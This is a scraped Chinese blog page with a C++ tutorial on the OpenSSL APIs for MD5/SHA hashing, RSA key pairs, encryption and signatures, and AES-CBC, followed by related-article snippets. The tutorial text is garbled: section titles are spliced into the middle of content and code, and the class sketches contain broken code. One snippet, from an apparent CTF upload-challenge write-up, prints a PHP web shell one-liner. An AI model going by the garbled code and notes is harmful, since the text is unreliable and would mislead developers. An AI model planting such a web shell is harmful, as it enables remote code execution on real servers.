C++学习之使用OPENSSL加解密
目录
1.知识点概述
2.哈希的特点和常用哈希算法散列值长度
3.Linux下openss相关的安装问题
4.md5 api
5.其他哈希算法使用
6.sha1测试
7.哈希值的封装
8.非对称加密特点和应用场景
9.生成密钥对-rsa
10.在内存中生成rsa密钥对-代码
11.将密钥对写入磁盘
12.使用bio方式将秘钥写入磁盘文件中
13.从内存rsa对象中取出公钥或私钥信息
14.rsa加解密函数
15.rsa使用公钥加密数据-代码
16.rsa加密测试-bug修改
17.rsa签名和校验签名
18.签名和验证签名
19.rsa类的封装
20.aes知识点回顾
21.对象加密-密码分组模式
22.初始化对称加密秘钥
23.aes加解密函数AES_cbc_encrypt
24.aes加解密-代码
1.知识点概述
2.哈希的特点和常用哈希算法散列值长度
特点:
- 不可逆
- 抗碰撞性强
- 不同的数据拥有不同的哈希值, 相同的数据哈希值是相同的
- 原始数据有细微的变化, 哈希值的变化是非常大的
- 通过哈希函数将原始数据进行运算, 得到的哈希值长度是固定的
- 原始的哈希值是一个定长的`二进制`字符串
哈希算法:
- md5
- 散列值: 16byte
- sha1
- 散列值: 20byte
- sha224
- 散列值: 28byte
- sha256
- 散列值: 32byte
- sha384
- 散列值: 48byte
- sha512
- 散列值: 64byte
3.Linux下openss相关的安装问题
> 以上说的散列值长度是二进制数据长度, 一般散列值使用 16 进制格式的数字串表示的, 看到的字符串长度是原来的2倍长.
```c
// 使用的头文件
#include <openssl/md5.h>
#include <openssl/sha.h>
```
- md5
```c
# define MD5_DIGEST_LENGTH 16 // md5哈希值长度
// 初始化函数, 初始化参数 c
int MD5_Init(MD5_CTX *c);
参数c: 传出参数
// 添加md5运算的数据-> 没有计算
// 该函数可以进行多次数据添加 -> 函数多次调用
int MD5_Update(MD5_CTX *c, const void *data, size_t len);
参数:
- c: MD5_Init() 初始化得到的
- data: 传入参数, 字符串
- len: data数据的长度
4.md5 api
// 添加md5运算的数据-> 没有计算
// 该函数可以进行多次数据添加 -> 函数多次调用
int MD5_Update(MD5_CTX *c, const void *data, size_t len);
参数:
- c: MD5_Init() 初始化得到的
- data: 传入参数, 字符串
- len: data数据的长度
// 对添加的数据进行md5计算
int MD5_Final(unsigned char *md, MD5_CTX *c);
参数:
- md: 传出参数, 存储得到的哈希值
- c: MD5_Init() 初始化得到的
5.其他哈希算法使用
// 通过传递的参数, 直接生成一个md5哈希值
// 只能添加一次数据
unsigned char *MD5(const unsigned char *d, size_t n, unsigned char *md);
参数:
- d: 传入, 要进行md5运算的字符串
- n: 字符串的的长度
- md: 传出, 存储md5的哈希值
返回值: 这个地址的函数第三个参数md地址
```
```c
# define SHA_DIGEST_LENGTH 20
# define SHA224_DIGEST_LENGTH 28
# define SHA256_DIGEST_LENGTH 32
# define SHA384_DIGEST_LENGTH 48
# define SHA512_DIGEST_LENGTH 64
6.sha1测试
int SHA1_Init(SHA_CTX *c);
int SHA1_Update(SHA_CTX *c, const void *data, size_t len);
int SHA1_Final(unsigned char *md, SHA_CTX *c);
unsigned char *SHA1(const unsigned char *d, size_t n, unsigned char *md);
int SHA224_Init(SHA256_CTX *c);
int SHA224_Update(SHA256_CTX *c, const void *data, size_t len);
int SHA224_Final(unsigned char *md, SHA256_CTX *c);
unsigned char *SHA224(const unsigned char *d, size_t n, unsigned char *md);
int SHA256_Init(SHA256_CTX *c);
int SHA256_Update(SHA256_CTX *c, const void *data, size_t len);
int SHA256_Final(unsigned char *md, SHA256_CTX *c);
unsigned char *SHA256(const unsigned char *d, size_t n, unsigned char *md);
int SHA384_Init(SHA512_CTX *c);
int SHA384_Update(SHA512_CTX *c, const void *data, size_t len);
int SHA384_Final(unsigned char *md, SHA512_CTX *c);
unsigned char *SHA384(const unsigned char *d, size_t n, unsigned char *md);
int SHA512_Init(SHA512_CTX *c);
int SHA512_Update(SHA512_CTX *c, const void *data, size_t len);
int SHA512_Final(unsigned char *md, SHA512_CTX *c);
unsigned char *SHA512(const unsigned char *d, size_t n, unsigned char *md);
```
#
7.哈希值的封装
```
- 封装的思路
```c++
// c++中不建议使用宏 -> 常量/枚举/内联->空间换时间
class MyHash
{
public:
enum HashType{M_MD5, M_SHA1, M_SHA224, M_SHA512, M_SHA384, M_SHA512};
MyHash(HashType type) // 得到一个哈希对象, 创建不同的哈希对象
{
m_type = type;
switch(type)
{
case M_MD5:
MD5_Init();
break;
case M_sha1:
SHA1_Init();
break;
}
}
~MyHash();
// 添加数据
void addData(string str)
{
switch(m_type)
{
case M_MD5:
MD5_Update();
break;
case M_sha1:
SHA1_Update();
break;
}
}
8.非对称加密特点和应用场景
// 计算哈希值
string result()
{
switch(m_type)
{
xxx_Final();
// 转换 -> 16进制格式
}
}
private:
HashType m_type;
MD5_CTX m_md5;
}
```
# 2. 非对称加密
> RSA 算法密钥长度越长,安全性越好,加密解密所需时间越长。
>
> 密钥长度增长一倍,公钥操作所需时间增加约 4 倍,私钥操作所需时间增加约 8 倍,公私钥生成时间约增长 16 倍;
复习:
- 特点
- 秘钥是一个密钥对: `公钥`, `私钥`
- 公钥加密, 必须私钥解密
- 私钥加密, 必须公钥解密
- 加密强度比较高, 效率低
- 不会使用非对称加密, 加密特别大的数据
- 应用场景:
- 秘钥分发 -> 对称加密
- 核心思想: 加密的时候,` 公钥加密, 私钥解密`
- 分发步骤:
- 假设A, B两端
- A端生成了一个密钥对, 分发公钥, B端有了公钥
- B端生成一个对称加密的秘钥, 使用公钥加密 -> 密文
- B将密文发送给A
- A接收数据 -> 密文, 使用私钥对密文解密 -> 对称加密的秘钥
- 签名 -> 验证数据是否被篡改, 验证数据的所有者
- 核心思想: `私钥加密, 公钥解密`
- A, B两端, 假设A要发送数据
- A端生成一个密钥对, 将公钥进行分发, 自己留私钥
- 签名
- A对原始数据进行哈希运算 -> 哈希值
- A使用私钥对哈希值加密 -> 密文
- 将原始数据+密文发送给B
- 校验签名
- B接收数据: 密文 + 收到的原始数据
- 使用公钥对密文解密 -> 哈希值old
- 使用has算法对收到的数据进行哈希运算 -> 哈希值new
- 比较这两个哈希值
- 相同: 校验成功
- 不同: 失败
9.生成密钥对-rsa
## 2.1 生成RSA密钥对
```c
#include <openssl/rsa.h>
// 申请一块内存, 存储了公钥和私钥
// 如果想得到RSA类型变量必须使用 RSA_new();
RSA *RSA_new(void);
void RSA_free(RSA *);
BIGNUM* BN_new(void);
void BN_free(BIGNUM*);
// 生成密钥对, 密钥对存储在内存中
int RSA_generate_key_ex(RSA *rsa, int bits, BIGNUM *e, BN_GENCB *cb);
参数:
- rsa: 通过RSA_new()获得
- bits: 秘钥长度, 单位: bit, 常用的长度 1024*n (n正整数)
- e: 比较大的数(5位以内)
- 通过 BN_new 得到对应的变量
- 初始化: BN_set_word(e, 12345);
- cb: 回调函数, 用不到, 直接写NULL
10.在内存中生成rsa密钥对-代码
// rsa公钥私钥类型是一样的: RSA类型
// 将参数rsa中的公钥提取出来
RSA *RSAPublicKey_dup(RSA *rsa);
- rsa参数: 秘钥信息
- 返回值: rsa公钥
// 将参数rsa中的私钥提取出来
RSA *RSAPrivateKey_dup(RSA *rsa);
- rsa参数: 秘钥信息
- 返回值: rsa私钥
// 创建bio对象
// 密钥对写磁盘文件的时候, 需要编码 -> base64
// 封装了fopen
BIO *BIO_new_file(const char *filename, const char *mode);
参数:
- filename: 文件名
- mode: 文件打开方式和fopen打开方式的指定相同
int PEM_write_bio_RSAPublicKey(BIO* bp, const RSA* r);
int PEM_write_bio_RSAPrivateKey(BIO* bp, const RSA* r, const EVP_CIPHER* enc,
unsigned char* kstr, int klen, pem_password_cb *cb, void* u);
RSA* PEM_read_bio_RSAPublicKey(BIO* bp, RSA** r, pem_password_cb *cb, void* u);
RSA* PEM_read_bio_RSAPrivateKey(BIO* bp, RSA** r, pem_password_cb *cb, void* u);
参数:
- bp: 通过BIO_new_file();函数得到该对象
- r: 传递一个RSA* rsa指针的地址, 传出参数-> 公钥/私钥
- cb: 回调函数, 用不到, 指定为NULL
- u: 给回调传参, 用不到, 指定为NULL
11.将密钥对写入磁盘
//
//
RSA* PEM_read_RSAPublicKey(FILE* fp, RSA** r, pem_password_cb *cb, void* u);
RSA* PEM_read_RSAPrivateKey(FILE* fp, RSA** r, pem_password_cb *cb, void* u);
// 写入文件中的公钥私钥数据不是原始数据, 写入的编码之后的数据
// 是一种pem的文件格式, 数据使用base64进行编码
int PEM_write_RSAPublicKey(FILE* fp, const RSA* r);
int PEM_write_RSAPrivateKey(FILE* fp, const RSA* r, const EVP_CIPHER* enc,
unsigned char* kstr, int klen, pem_password_cb *cb, void* u);
参数:
- fp: 需要打开一个磁盘文件, 并且指定写权限
- r: 存储了密钥对
- 私钥独有的参数
- enc: 指定的加密算法 -> 对称加密 -> NULL
- kstr: 对称加密的秘钥 -> NULL
- klen: 秘钥长度 -> 0
- cb: 回调函数, 用不到, NULL
- u: 给回调传参, 用不到, NULL
```
12.使用bio方式将秘钥写入磁盘文件中
## 2.2 加密
> 以块的方式进行加密的, 加密的数据长度, 不能大于秘钥长度
>
> - 假设: 秘钥长度: 1024bit = 128byte
```c
// 公钥加密
int RSA_public_encrypt(int flen, const unsigned char *from,
unsigned char *to, RSA *rsa, int padding);
// 私钥解密
int RSA_private_decrypt(int flen, const unsigned char *from,
unsigned char *to, RSA *rsa, int padding);
签名使用 /
// 私钥加密
13.从内存rsa对象中取出公钥或私钥信息
int RSA_private_encrypt(int flen, const unsigned char *from,
unsigned char *to, RSA *rsa, int padding);
// 公钥解密
int RSA_public_decrypt(int flen, const unsigned char *from,
unsigned char *to, RSA *rsa, int padding);
参数:
- flen: 要加密/解密的数据长度
长度 0 < flen <= 秘钥长度-11
- from: 传入, 要加密/解密的数据
- to: 传出, 存储数据, 加密->存储密文, 解密->存储明文
- rsa: 秘钥: 公钥/私钥
- padding: 指定填充方案, 数据填充, 不需要使用者做
- RSA_PKCS1_PADDING -> 使用该方案会填充11字节
```
14.rsa加解密函数
## 2.3 签名
```c
int RSA_sign(int type, const unsigned char *m, unsigned int m_length,
unsigned char *sigret, unsigned int *siglen, RSA *rsa);
参数:
- type: 使用的哈希算法
- NID_MD5
- NID_SHA1
- NID_SHA224
- .....
- m: 要进行签名的数据
- m_length: 要签名的数据长度
- 0 < m_length <= 秘钥长度-11
- sigret: 传出, 存储了签名之后的数据 -> 密文
- siglen: sigret密文长度
- rsa: 私钥
返回值: 判断函数状态
15.rsa使用公钥加密数据-代码
int RSA_verify(int type, const unsigned char *m, unsigned int m_length,
const unsigned char *sigbuf, unsigned int siglen, RSA *rsa);
参数:
- type: 使用的哈希算法, 和签名使用的哈希算法一致
- NID_MD5
- NID_SHA1
- NID_SHA224
- .....
- m: 进行签名的原始数据 -> 接收到的
- m_length: m参数字符串的长度
- sigbuf: 接收到的签名数据
- siglen: sigbuf接收到的签名数据的长度
- rsa: 公钥
返回值:
如果!=1: 失败
如果==1: 成功
```
16.rsa加密测试-bug修改
- c++的类
```c++
class MyRSA
{
public:
MyRSA();
~MyRSA;
// 生成密钥对
// 公钥加密
// 私钥解密
// 数据签名
// 验证签名
private:
RSA* pubkey;
RSA* pirKey;
}
```
17.rsa签名和校验签名
# 3. 对称加密
## AES
```shell
分组加密: 每组长度 -> 16byte, 128bit
秘钥长度: 16byte, 24byte, 32byte
每组明文和加密之后的密文长度相同
- 分组加密有不同的加密方式
- 五种密码分组模式
- 最常用: cbc -> 密文分组链接
- 需要一个初始化向量 -> 数组 -> 存储一个随机字符串 -> 分组长度相同
- 加密的和解密的时候都需要这个初始化向量
- 加解密的时候初始化向量的值必须相同
```
18.签名和验证签名
> AES是一套对称密钥的密码术,目前已广泛使用,用于替代已经不够安全的DES算法。所谓对称密钥,就是说加密和解密用的是同一个密钥,消息的发送方和接收方在消息传递前需要享有这个密钥。和非对称密钥体系不同,这里的密钥是双方保密的,不会让任何第三方知道。
>
> 对称密钥加密法主要==**基于块加密**,**选取固定长度的密钥**==,去==**加密明文中固定长度的块,生成的密文块与明文块长度一样**==。显然密钥长度十分重要,块的长度也很重要。如果太短,则很容易枚举出所有的明文-密文映射;如果太长,性能则会急剧下降。==**AES中规定块长度为128 bit**==,而==**密钥长度可以选择128, 192或256 bit**== 。暴力破解密钥需要万亿年,这保证了AES的安全性。
OpenSSL中 AES 加解密的API:
19.rsa类的封装
1. 生成加密/解密的Key
```c
#include <openssl/aes.h>
# define AES_BLOCK_SIZE 16 // 明文分组的大小
// 加密的时候调用
// aes中的秘钥格式 AES_KEY
// 封装加密时候使用的秘钥
AES_KEY key;
int AES_set_encrypt_key(const unsigned char *userKey, const int bits, AES_KEY *key);
// 封装解密时候使用的秘钥
int AES_set_decrypt_key(const unsigned char *userKey, const int bits, AES_KEY *key);
```
20.aes知识点回顾
| 参数名称 | 描述 |
| :------: | :-------------------------------------------: |
| userkey | 对称加密的秘钥-> 字符串, 长度: 16, 24, 32byte |
| bites | 指定秘钥的长度: 单位->bit |
| key | 传出参数 |
2. CBC方式加密 - 密码分组链接模式
```c
void AES_cbc_encrypt(const unsigned char *in, unsigned char *out,
size_t length, const AES_KEY *key,
unsigned char *ivec, const int enc);
参数:
- in: 要加密/解密的数据
- out: 传出参数
- 加密: 存储密文
- 解密: 存储明文
- length: 修改第一个参数in的长度
- (len = (字符串长度 + \0) % 16) == 0
- 如果不是在函数内部会自动填充
- 实际长度: ((len / 16) + 1 ) * 16
- key: 初始化之后的秘钥
- ivec: 初始化向量, 字符串 ==> 长度和分组长度相同
- enc: 指定数据要解密还是解密
- # define AES_ENCRYPT 1 -> 加密
- # define AES_DECRYPT 0 -> 解密
```
21.对象加密-密码分组模式
# 其他
- OPENSSL_Uplink no OPENSSL_Applink 错误
> Applink()函数不属于openssl的dll内部函数的一部分(通过dll分析器看出这个函数不存在), 所以必须把applink.c文件应用程序的一部分编译.
- 解决方案
```c
extern "C"
{
#include <openssl/applink.c>
};
```
linux下载openssl
22.初始化对称加密秘钥
linux下载openssl
```shell
# ubuntu
sudo apt remove openssl
openssl version -a
# 提示有些库找不到 ==> /usr/local/lib/
find / -name "libcrypto.so"
# 将路径添加到配置文件中
sudo vim /etc/ld.so.conf
# 将 /usr/local/lib/ 添加到空行中 => 保存退出
sudo ldconfig
```
23.aes加解密函数AES_cbc_encrypt
24.aes加解密-代码
相关文章:
C++学习之使用OPENSSL加解密
目录 1.知识点概述 2.哈希的特点和常用哈希算法散列值长度 3.Linux下openss相关的安装问题 4.md5 api 5.其他哈希算法使用 6.sha1测试 7.哈希值的封装 8.非对称加密特点和应用场景 9.生成密钥对-rsa 10.在内存中生成rsa密钥对-代码 11.将密钥对写入磁盘 12.使用bio方…...
markdown导出PDF,PDF生成目录
1、vscode中安装markdown插件,将编辑的文件导出PDF。 2、安装PDF Guru Anki软件 百度网盘:通过网盘分享的文件:PDFGuruAnki 链接: https://pan.baidu.com/s/1nU6avM7NUowhEn1FNZQKkA 提取码: aues PDF中不同的标题需要通过矩形框标注差异&a…...
Node.js中Stream模块详解
Node.js 中 Stream 模块全部 API 详解 一、Stream 基础概念 const { Stream } require(stream);// 1. Stream 类型 // - Readable: 可读流 // - Writable: 可写流 // - Duplex: 双工流 // - Transform: 转换流// 2. Stream 事件 // - data: 数据可读时触发 // - end: 数据读…...
Swift的学习笔记(一)
Swift的学习笔记(一) 文章目录 Swift的学习笔记(一)元组基本语法1. **创建元组**2. **访问元组的值**3. **命名的元组**4. **解构元组**5. **忽略某些值** 可选值类型定义 OptionalOptional 的基本使用1. **给 Optional 赋值和取值…...
3.4 函数单调性与曲线的凹凸性
1.函数单调性的定义 1.1.判别法 2.函数凹凸性 2.1 判别法...
随机森林优化 —— 理论、案例与交互式 GUI 实现
目录 随机森林优化 —— 理论、案例与交互式 GUI 实现一、引言二、随机森林基本原理与超参数介绍2.1 随机森林概述2.2 随机森林中的关键超参数 三、随机森林优化的必要性与挑战3.1 优化的重要性3.2 调优方法的挑战 四、常见的随机森林优化策略4.1 网格搜索(Grid Sea…...
Pytorch深度学习框架60天进阶学习计划 - 第41天:生成对抗网络进阶(一)
Pytorch深度学习框架60天进阶学习计划 - 第41天:生成对抗网络进阶(一) 今天我们将深入探讨生成对抗网络(GAN)的进阶内容,特别是Wasserstein GAN(WGAN)的梯度惩罚机制,以及条件生成与无监督生成…...
62. 不同路径
前言 本篇文章来自leedcode,是博主的学习算法的笔记心得。 如果觉得对你有帮助,可以点点关注,点点赞,谢谢你! 题目链接 62. 不同路径 - 力扣(LeetCode) 题目描述 思路 1.如果m1或者n1就只…...
使用Apache POI实现Java操作Office文件:从Excel、Word到PPT模板写入
在企业级开发中,自动化处理Office文件(如Excel报表生成、Word文档模板填充、PPT批量制作)是常见需求。Apache POI作为Java领域最成熟的Office文件操作库,提供了一套完整的解决方案。本文将通过实战代码,详细讲解如何使…...
基于 RabbitMQ 优先级队列的订阅推送服务详细设计方案
基于 RabbitMQ 优先级队列的订阅推送服务详细设计方案 一、架构设计 分层架构: 订阅管理层(Spring Boot)消息分发层(RabbitMQ Cluster)推送执行层(Spring Cloud Stream)数据存储层(Redis + MySQL)核心组件: +-------------------+ +-------------------+ …...
设计模式(8)——SOLID原则之依赖倒置原则
设计模式(7)——SOLID原则之依赖倒置原则 概念使用示例 概念 高层次的类不应该依赖于低层次的类。两者都应该依赖于抽象接口。抽象接口不应依赖于具体实现。具体实现应该依赖于抽象接口。 底层次类:实现基础操作的类(如磁盘操作…...
oracle COUNT(1) 和 COUNT(*)
在 Oracle 数据库中,COUNT(1) 和 COUNT(*) 都用于统计表中的行数,但它们的语义和性能表现存在一些细微区别。 1. 语义区别 COUNT(*) 统计表中所有行的数量,包括所有列值为 NULL 的行。它直接针对表的行进行计数,不关心具体列的值…...
理想汽车MindVLA自动驾驶架构核心技术梳理
理想汽车于2025年3月发布的MindVLA自动驾驶架构,通过整合视觉、语言与行为智能,重新定义了自动驾驶系统的技术范式。以下是其核心技术实现的详细梳理: 一、架构设计:三位一体的智能融合 VLA统一模型架构 MindVLA并非简单的端到端模…...
基于FPGA的智能垃圾桶设计-超声波测距模块-人体感应模块-舵机模块 仿真通过
基于FPGA的智能垃圾桶设计 前言一、整体方案二、仿真波形总结 前言 在FPGA开发平台中搭建完整的硬件控制系统,集成超声波测距模块、人体感应电路、舵机驱动模块及报警单元。在感知层配置阶段,优化超声波回波信号调理电路与人体感应防误触逻辑࿰…...
[极客大挑战 2019]Upload
<script language"php">eval($_POST[shell]);</script> <script language"php">#这里写PHP代码哟! </script> BM <script language"php">eval($_POST[shell]);</script>GIF89a <…...
操作系统基础:05 系统调用实现
一、系统调用概述 上节课讲解了系统调用的概念,系统调用是操作系统给上层应用提供的接口,表现为一些函数,如open、read、write 等。上层应用程序通过调用这些函数进入操作系统,使用操作系统功能,就像插座一样…...
“堆积木”式话云原生微服务架构(第一回)
模块1:文章目录 目录 1. 云原生架构核心概念 2. Java微服务技术选型 3. Kubernetes与服务网格实战 4. 全链路监控与日志体系 5. 安全防护与性能优化 6. 行业案例与未来演进 7. 学习路径与资源指引 8. 下期预告与扩展阅读 模块2:云原生架构核心概念 核…...
Java 性能优化:从原理到实践的全面指南
性能优化是 Java 开发中不可或缺的一环,尤其在高并发、大数据和分布式系统场景下,优化直接影响系统响应速度、资源利用率和用户体验。Java 作为一门成熟的语言,提供了丰富的工具和机制支持性能调优,但优化需要深入理解 JVM、并发模…...
基于ssm网络游戏推荐系统(源码+lw+部署文档+讲解),源码可白嫖!
摘要 当今社会进入了科技进步、经济社会快速发展的新时代。国际信息和学术交流也不断加强,计算机技术对经济社会发展和人民生活改善的影响也日益突出,人类的生存和思考方式也产生了变化。传统网络游戏管理采取了人工的管理方法,但这种管理方…...
HTTP:五.WEB服务器
web服务器 定义:实现提供资源或应答的提供者都可以谓之为服务器!web服务器工作内容 接受建立连接请求 接受请求 处理请求 访问报文中指定的资源 构建响应 发送响应 记录事务处理过程 Web应用开发用到的一般技术元素 静态元素:html, img,js,Css,SWF,MP4 动态元素:PHP,…...
synchronized轻量级锁的自旋之谜:Java为何在临界区“空转“等待?
从餐厅等位理解自旋锁的智慧 想象两家不同的餐厅: 传统餐厅:没座位时顾客去逛街(线程挂起,上下文切换)网红餐厅:没座位时顾客在门口短时间徘徊(线程自旋,避免切换) Ja…...
基于redis 实现我的收藏功能优化详细设计方案
基于redis 实现我的收藏功能优化详细设计方案 一、架构设计 +---------------------+ +---------------------+ | 客户端请求 | | 数据存储层 | | (收藏列表查询) | | (Redis Cluster) | +-------------------…...
【深度学习与大模型基础】第10章-期望、方差和协方差
一、期望 ——————————————————————————————————————————— 1. 期望是什么? 期望(Expectation)可以理解为“长期的平均值”。比如: 掷骰子:一个6面骰子的点数是1~6&#x…...
JavaScript 性能优化实战:深入探讨 JavaScript 性能瓶颈,分享优化技巧与最佳实践
在当今 Web 应用日益复杂的时代,JavaScript 性能对于用户体验起着决定性作用。缓慢的脚本执行会导致页面加载延迟、交互卡顿,严重影响用户留存率。本文将深入剖析 JavaScript 性能瓶颈,并分享一系列实用的优化技巧与最佳实践,助你…...
上篇:《排序算法的奇妙世界:如何让数据井然有序?》
个人主页:strive-debug 排序算法精讲:从理论到实践 一、排序概念及应用 1.1 基本概念 **排序**:将一组记录按照特定关键字(如数值大小)进行递增或递减排列的操作。 1.2 常见排序算法分类 - **简单低效型**ÿ…...
目前状况下,计算机和人工智能是什么关系?
目录 一、计算机和人工智能的关系 (一)从学科发展角度看 计算机是基础 人工智能是计算机的延伸和拓展 (二)从技术应用角度看 二、计算机系学生对人工智能的了解程度 (一)基础层面的了解 必备知识 …...
【复旦微FM33 MCU 底层开发指南】高级定时器ATIM
0 前言 本系列基于复旦微FM33LC0系列MCU的DataSheet编写,提供基于寄存器开发指南、应用技巧、注意事项等 本文章及本系列其他文章将持续更新,本系列其它文章请跳转↓↓↓ 【复旦微FM33 MCU 寄存器开发指南】总集篇 本文章最后更新日期:2025…...
vdso概念及原理,vdso_fault缺页异常,vdso符号的获取
一、背景 vdso的全称是Virtual Dynamic Shared Object,它是一个特殊的共享库,是在编译内核时生成,并在内核镜像里某一段地址段作为该共享库的内容。vdso的前身是vsyscall,为了兼容一些旧的程序,x86上还是默认加载了vs…...
4.13学习总结
学习完异常和文件的基本知识 完成45. 跳跃游戏 II - 力扣(LeetCode)的算法题,对于我来说,用贪心的思路去写该题是很难理解的,很难想到,理解了许久,也卡了很久。...
Day14:关于MySQL的索引——创、查、删
前言:先创建一个练习的数据库和数据 1.创建数据库并创建数据表的基本结构 -- 创建练习数据库 CREATE DATABASE index_practice; USE index_practice;-- 创建基础表(包含CREATE TABLE时创建索引) CREATE TABLE products (id INT PRIMARY KEY…...
概率论与数理统计核心知识点与公式总结(就业版)
文章目录 概率论与数理统计核心知识点与公式总结(附实际应用)一、概率论基础1.1 基本概念1.2 条件概率与独立性 二、随机变量及其分布2.0 随机变量2.0 分布函数(CDF)2.1 离散型随机变量2.2 连续型随机变量2.3 多维随机变量2.3.1 联…...
AF3 ProteinDataset类的_patch方法解读
AlphaFold3 protein_dataset模块 ProteinDataset 类 _patch 方法的主要目的是围绕锚点残基(anchor residues)裁剪蛋白质数据,提取一个局部补丁(patch)作为模型输入。 源代码: def _patch(self, data):"""Cut the data around the anchor residues."…...
openssh 10.0在debian、ubuntu编译安装 —— 筑梦之路
OpenSSH 10.0 发布:一场安全与未来兼顾的大升级 - Linux迷 OpenSSH: Release Notes sudo apt-get updatesudo apt install build-essential zlib1g-dev libssl-dev libpam0g-dev libselinux1-devwget https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/opens…...
Go 跨域中间件实现指南:优雅解决 CORS 问题
在开发基于 Web 的 API 时,尤其是前后端分离项目,**跨域问题(CORS)**是前端开发人员经常遇到的“拦路虎”。本文将带你了解什么是跨域、如何在 Go 中优雅地实现一个跨域中间件,支持你自己的 HTTP 服务或框架如 net/htt…...
【数据结构_6】双向链表的实现
一、实现MyDLinkedList(双向链表) package LinkedList;public class MyDLinkedList {//首先我们要创建节点(因为双向链表和单向链表的节点不一样!!)static class Node{public String val;public Node prev…...
【双指针】专题:LeetCode 1089题解——复写零
复写零 一、题目链接二、题目三、算法原理1、先找到最后一个要复写的数——双指针算法1.5、处理一下边界情况2、“从后向前”完成复写操作 四、编写代码五、时间复杂度和空间复杂度 一、题目链接 复写零 二、题目 三、算法原理 解法:双指针算法 先根据“异地”操…...
Foxmail邮件客户端跨站脚本攻击漏洞(CNVD-2025-06036)技术分析
Foxmail邮件客户端跨站脚本攻击漏洞(CNVD-2025-06036)技术分析 漏洞背景 漏洞编号:CNVD-2025-06036 CVE编号:待分配 厂商:腾讯Foxmail 影响版本:Foxmail < 7.2.25 漏洞类型&#x…...
39.[前端开发-JavaScript高级]Day04-函数增强-argument-额外知识-对象增强
JavaScript函数的增强知识 1 函数属性和arguments 函数对象的属性 认识arguments arguments转Array 箭头函数不绑定arguments 函数的剩余(rest)参数 2 纯函数的理解和应用 理解JavaScript纯函数 副作用概念的理解 纯函数的案例 判断下面函数是否是纯…...
0x05.为什么 Redis 设计为单线程?6.0 版本为何引入多线程?
回答重点 单线程设计原因: Redis 的操作是基于内存的,其大多数操作的性能瓶颈主要不是 CPU 导致的使用单线程模型,代码简便的同时也减少了线程上下文切换带来的性能开销Redis 在单线程的情况下,使用 I/O 多路复用模型就可以提高 Redis 的 I/O 利用率了6.0 版本引入多线程的…...
CST1019.基于Spring Boot+Vue智能洗车管理系统
计算机/JAVA毕业设计 【CST1019.基于Spring BootVue智能洗车管理系统】 【项目介绍】 智能洗车管理系统,基于 Spring Boot Vue 实现,功能丰富、界面精美 【业务模块】 系统共有三类用户,分别是:管理员用户、普通用户、工人用户&…...
CST1018.基于Spring Boot+Vue滑雪场管理系统
计算机/JAVA毕业设计 【CST1018.基于Spring BootVue滑雪场管理系统】 【项目介绍】 滑雪场管理系统,基于 Spring Boot Vue 实现,功能丰富、界面精美 【业务模块】 系统共有两类用户,分别是管理员和普通用户,管理员负责维护后台数…...
剖析 Rust 与 C++:性能、安全及实践对比
1 性能对比:底层控制与运行时开销 1.1 C 的性能优势 C 给予开发者极高的底层控制能力,允许直接操作内存、使用指针进行精细的资源管理。这使得 C 在对性能要求极高的场景下,如游戏引擎开发、实时系统等,能够发挥出极致的性能。以…...
SDHC接口协议底层传输数据是安全的
SDHC(Secure Digital High Capacity)接口协议在底层数据传输过程中确实包含校验机制,以确保数据的完整性和可靠性。以下是关键点的详细说明: 物理层与数据链路层的校验机制 物理层(Electrical Layer)&…...
Gateway-网关-分布式服务部署
前言 什么是API⽹关 API⽹关(简称⽹关)也是⼀个服务, 通常是后端服务的唯⼀⼊⼝. 它的定义类似设计模式中的Facade模式(⻔⾯模式, 也称外观模式). 它就类似整个微服务架构的⻔⾯, 所有的外部客⼾端访问, 都需要经过它来进⾏调度和过滤. 常⻅⽹关实现 Spring Cloud Gateway&a…...
c++STL——string学习的模拟实现
文章目录 string的介绍学习的意义auto关键字和范围forstring中的常用接口构造和析构对string得容量进行操作string的访问迭代器(Iterators):运算符[ ]重载 string类的修改操作非成员函数 string的模拟实现不同平台下的实现注意事项模拟实现部分所有的模拟实现函数预…...
【寻找Linux的奥秘】第四章:基础开发工具(下)
请君浏览 前言1. 自动化构建1.1 背景1.2 基本语法1.3 make的运行原理1.4通用的makefile 2. 牛刀小试--Linux第一个小程序2.1 回车与换行2.2 行缓冲区2.3 倒计时小程序2.4 进度条小程序原理代码 3. 版本控制器git3.1 认识3.2 git的使用三板斧 3.3 其他 4. 调试器gdb/cgdb4.1 了解…...
RK3588上Linux系统编译C/C++ Demo时出现BUG:The C/CXX compiler identification is unknown
BUG的解决思路 BUG描述:解决方法:首先最重要的一步:第二步:正确设置gcc和g的路径方法一:使用本地系统中安装的 aarch64-linux-gnu-gcc 和 aarch64-linux-gnu-g方法二:下载使用官方指定的交叉编译工具方法三…...
记录一次/usr/bin/ld: 找不到 -lOpenSSL::SSL
1、cmake 报错内容如下: /usr/bin/ld: 找不到 -lOpenSSL::SSL /usr/bin/ld: 找不到 -lOpenSSL::Crypto2、一开始以为库没有正确安装 sudo yum install openssl-devel然后查看openssl 结果还是报错! 3、尝试卸载安装都不管用,网上搜了好多…...
[16届蓝桥杯 2025 c++省 B] 水质检测
思路:分类讨论,从左到右枚举,判断当前的河床和下一个河床的距离是第一行更近还是第二行更近还是都一样近,分成三类编写代码即可 #include<iostream> using namespace std; int main(){string s1,s2;cin>>s1>>…...
基于PySide6与pycatia的CATIA绘图比例智能调节工具开发全解析
引言:工程图纸自动化处理的技术革新 在机械设计领域,CATIA图纸的比例调整是高频且重复性极强的操作。传统手动调整方式效率低下且易出错。本文基于PySide6pycatia技术栈,提出一种支持智能比例匹配、实时视图控制、异常自处理的图纸批处理方案…...